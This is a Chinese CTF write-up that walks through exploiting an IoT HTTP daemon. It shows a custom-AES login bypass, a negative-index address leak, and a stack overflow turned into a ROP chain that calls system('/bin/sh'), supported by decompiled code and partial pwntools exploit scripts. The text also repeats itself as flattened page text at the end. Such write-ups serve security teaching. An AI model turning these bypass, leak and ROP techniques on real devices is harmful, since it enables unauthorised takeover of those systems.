羊城杯-基于栈溢出的IoT固件安全分析与利用
字数 1166 2025-12-16 12:20:11

IoT固件栈溢出漏洞分析与利用教学文档

题目概述

本教学文档基于"羊城杯-基于栈溢出的IoT固件安全分析与利用"题目,分析一个存在栈溢出漏洞的IoT设备HTTP服务程序,并完成完整的漏洞利用链。

环境配置分析

Docker环境配置

FROM ubuntu:20.04
RUN useradd -m ctf
# 基础环境配置
RUN apt-get update && apt-get install -y libmicrohttpd12 supervisor
WORKDIR /home/ctf
# 复制必要文件
COPY ./httpd /home/ctf/          # 主程序
COPY ./login.html /home/ctf/     # 登录页面
COPY ./find.sh /home/ctf/        # 守护脚本
COPY ./work.html /home/ctf/      # 工作页面
COPY ./log.html /home/ctf/       # 日志页面
COPY ./libc-2.31.so /lib/        # 依赖库

服务启动流程

#!/bin/sh
# start.sh 启动脚本
echo $DASFLAG > /flag
/bin/sh /home/ctf/find.sh &      # 守护进程
/usr/bin/supervisord -c /home/ctf/supervisord.conf
sleep infinity;

程序分析

文件信息

  • 程序类型:ELF 64-bit LSB executable, x86-64
  • 保护机制:动态链接,Strip剥离符号
  • 服务端口:9999

主函数逻辑

__int64 __fastcall main(int a1, char **a2, char **a3)
{
    unsigned int seed = time(0);
    srand(seed);
    // 启动HTTP守护进程
    __int64 started = MHD_start_daemon(8, 9999, 0, 0, sub_4031D5, 0, 0);
    if (started) {
        printf("Server running on port %d\n", 9999);
        getchar();
        MHD_stop_daemon(started);
        // 清理资源
        for (int i = 0; i < dword_40626C; ++i)
            free(*((void **)&unk_4065C0 + i));
        return 0;
    }
    return 1;
}

HTTP路由表

URL 方法 处理函数 功能描述
/login.html GET sub_402375 显示登录页面
/login POST sub_402555 处理登录请求
/work.html GET sub_402717 显示工作页面
/work GET/POST sub_402840 处理工作操作
/log.html GET sub_402BE8 显示日志页面
/log POST sub_402D1D 处理日志操作

漏洞分析

1. 认证绕过机制

登录验证逻辑

__int64 __fastcall sub_402555(__int64 a1, __int64 a2, const void *src, size_t *a4)
{
    // 获取ciphertext参数
    void *ptr = (void *)sub_4030D1(a2, "ciphertext");
    if (ptr) {
        sub_40207D((__int64)ptr, (__int64)src_, 0x10u);
        aes(src_, &dest_, 16); // AES解密
        // 与全局变量byte_420558比较
        if (sub_40309B(&dest_, &s2_))
            dword_406268 = 1; // 认证成功标志
        free(ptr);
    }
    // 返回响应...
}

认证绕过方法

  • 访问/login.html获取16字节随机明文
  • 使用自定义AES算法加密该明文
  • 将密文作为ciphertext参数POST到/login接口

自定义AES加密实现

from Crypto.Util.Padding import pad

# 自定义S盒(256字节)
CUSTOM_SBOX_DATA = [
    0x29,0x40,0x57,0x6E,0x85,0x9C,0xB3,0xCA,0xE1,0xF8,0x0F,0x26,0x3D,0x54,0x6B,0x82,
    # ... 完整S盒数据
]

def generate_expanded_key(key: bytes) -> bytes:
    """AES-128密钥扩展"""
    # 实现密钥调度算法...

def encrypt_with_ecb(plain_data: bytes, secret_key: bytes) -> bytes:
    """ECB模式加密"""
    # 使用自定义S盒完成AES加密...
    return ciphertext

# 认证绕过示例
key = b"0123456789ABCDEF"  # 固定密钥
plaintext = get_from_login_html()  # 从/login.html获取
ciphertext = encrypt_with_ecb(plaintext, key)

2. 栈溢出漏洞

漏洞函数分析

__int64 __fastcall sub_4031A2(const void *dest, int n)
{
    _BYTE desta[64]; // 64字节栈缓冲区
    memcpy(desta, dest, n); // 无长度检查的复制
    return 0;
}

触发条件

/work接口的处理函数中,当检测到字符串"YCB2025"时:

for (dest_2 = dest; dest_2 - (_BYTE *)dest + 6 <= (unsigned __int64)n_1; ++dest_2) {
    if (dest_2[0] == 'Y' && dest_2[1] == 'C' && 
        dest_2[2] == 'B' && dest_2[3] == '2' &&
        dest_2[4] == '0' && dest_2[5] == '2' &&
        dest_2[6] == '5') {
        dest_3 = dest_2;
        break;
    }
}
if (dest_3) {
    v10 = dest_3 - (_BYTE *)dest;
    sub_4031A2(dest, dest_3 - (_BYTE *)dest); // 触发栈溢出
    return 0;
}

3. 信息泄露漏洞

日志接口漏洞

__int64 __fastcall sub_402D1D(_QWORD a1, __int64 a2, const void *src, size_t *a4)
{
    nptr = (char *)sub_4030D1(a2, "index");
    if (nptr) {
        n99 = atoi(nptr);
        if (n99 < ::n99 && qword_4065C0[n99]) {
            if (n99 >= 0) {
                // 正常显示内容
                snprintf(s_, 0x400u, "Input[%d]->>%s:%p", n99, 
                        (const char *)qword_4065C0[n99], 
                        (const void *)qword_4065C0[n99]);
            } else {
                // 负数索引泄露地址
                snprintf(s_, 0x400u, 
                        "<html>...<pre>%p</pre></html>", n99,
                        (const void *)qword_4065C0[n99]);
            }
        }
    }
}

利用方法

  • 使用负数索引访问全局数组qword_4065C0
  • 泄露libc基地址和堆地址
  • 计算gadget和系统函数地址

漏洞利用链

步骤1:认证绕过

import requests

# 获取明文
login_html = requests.get("http://target:9999/login.html")
plaintext = extract_plaintext(login_html.content)

# 加密明文
ciphertext = aes_encrypt(plaintext, fixed_key)

# 发送登录请求
login_data = {"ciphertext": ciphertext.hex()}
session = requests.Session()
session.post("http://target:9999/login", data=login_data)

步骤2:信息泄露

# 使用负数索引泄露地址
for i in range(-10, 0):
    leak_data = session.post("http://target:9999/log", data={"index": str(i)})
    if "0x" in leak_data.text:
        # 解析泄露的地址
        leaked_addr = parse_address(leak_data.text)
        # 计算libc基地址
        libc_base = leaked_addr - libc_offset

步骤3:ROP链构造

可用gadget

0x0000000000403633 : pop rdi ; ret
0x0000000000403631 : pop rsi ; pop r15 ; ret
0x000000000040101a : ret

ORW链构造

from pwn import *

# 计算关键地址
libc = ELF("./libc-2.31.so")
libc.address = libc_base
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
pop_rdi = 0x0000000000403633  # pop rdi ; ret
ret = 0x000000000040101a      # ret指令用于栈对齐

# 构造ROP链
rop_chain = [
    pop_rdi, binsh_addr,
    ret,  # 栈对齐
    system_addr
]

步骤4:栈溢出利用

# 构造payload
padding = b"A" * offset_to_rip
payload = padding + b"".join(p64(addr) for addr in rop_chain)
payload = payload + b"YCB2025"  # 触发漏洞的魔术字

# 发送攻击载荷
session.post("http://target:9999/work", data=payload)

完整利用脚本框架

#!/usr/bin/env python3
from pwn import *
import requests
import struct

class IoTExploit:
    def __init__(self, target_ip, target_port=9999):
        self.target = f"http://{target_ip}:{target_port}"
        self.session = requests.Session()
        
    def bypass_auth(self):
        """步骤1:认证绕过"""
        # 实现AES加密和登录绕过
        
    def leak_addresses(self):
        """步骤2:信息泄露"""
        # 通过负数索引泄露libc和堆地址
        
    def build_rop(self, libc_base):
        """步骤3:构造ROP链"""
        # 计算gadget和函数地址
        
    def exploit(self):
        """步骤4:执行漏洞利用"""
        # 完整的利用链执行
        
if __name__ == "__main__":
    exploit = IoTExploit("127.0.0.1")
    exploit.exploit()

防护机制与绕过技巧

现有防护

  • 栈Canary:未开启
  • PIE:未开启(固定基址)
  • NX:启用(需要ROP)
  • ASLR:启用(需要信息泄露)

利用技巧

  1. 认证绕过:逆向自定义AES算法
  2. 信息泄露:利用负数索引越界读取
  3. ROP构造:使用有限gadget完成ORW
  4. 稳定性:利用守护进程自动重启特性

总结

本题目展示了IoT设备固件安全的典型攻击场景:

  • 自定义加密算法的安全性分析
  • Web接口的输入验证漏洞
  • 栈溢出漏洞的现代利用技术
  • 信息泄露与ROP链构造的结合

关键知识点包括AES算法原理、栈布局分析、ROP技术、以及Web安全与二进制安全的交叉利用。通过系统学习此案例,可以掌握IoT设备安全评估的核心技能。

IoT固件栈溢出漏洞分析与利用教学文档 题目概述 本教学文档基于"羊城杯-基于栈溢出的IoT固件安全分析与利用"题目,分析一个存在栈溢出漏洞的IoT设备HTTP服务程序,并完成完整的漏洞利用链。 环境配置分析 Docker环境配置 服务启动流程 程序分析 文件信息 程序类型:ELF 64-bit LSB executable, x86-64 保护机制:动态链接,Strip剥离符号 服务端口:9999 主函数逻辑 HTTP路由表 | URL | 方法 | 处理函数 | 功能描述 | |-----|------|----------|----------| | /login.html | GET | sub_ 402375 | 显示登录页面 | | /login | POST | sub_ 402555 | 处理登录请求 | | /work.html | GET | sub_ 402717 | 显示工作页面 | | /work | GET/POST | sub_ 402840 | 处理工作操作 | | /log.html | GET | sub_ 402BE8 | 显示日志页面 | | /log | POST | sub_ 402D1D | 处理日志操作 | 漏洞分析 1. 认证绕过机制 登录验证逻辑 认证绕过方法 访问 /login.html 获取16字节随机明文 使用自定义AES算法加密该明文 将密文作为 ciphertext 参数POST到 /login 接口 自定义AES加密实现 2. 栈溢出漏洞 漏洞函数分析 触发条件 在 /work 接口的处理函数中,当检测到字符串"YCB2025"时: 3. 信息泄露漏洞 日志接口漏洞 利用方法 使用负数索引访问全局数组 qword_4065C0 泄露libc基地址和堆地址 计算gadget和系统函数地址 漏洞利用链 步骤1:认证绕过 步骤2:信息泄露 步骤3:ROP链构造 可用gadget ORW链构造 步骤4:栈溢出利用 完整利用脚本框架 防护机制与绕过技巧 现有防护 栈Canary:未开启 PIE:未开启(固定基址) NX:启用(需要ROP) ASLR:启用(需要信息泄露) 利用技巧 认证绕过 :逆向自定义AES算法 信息泄露 :利用负数索引越界读取 ROP构造 :使用有限gadget完成ORW 稳定性 :利用守护进程自动重启特性 总结 本题目展示了IoT设备固件安全的典型攻击场景: 自定义加密算法的安全性分析 Web接口的输入验证漏洞 栈溢出漏洞的现代利用技术 信息泄露与ROP链构造的结合 关键知识点包括AES算法原理、栈布局分析、ROP技术、以及Web安全与二进制安全的交叉利用。通过系统学习此案例,可以掌握IoT设备安全评估的核心技能。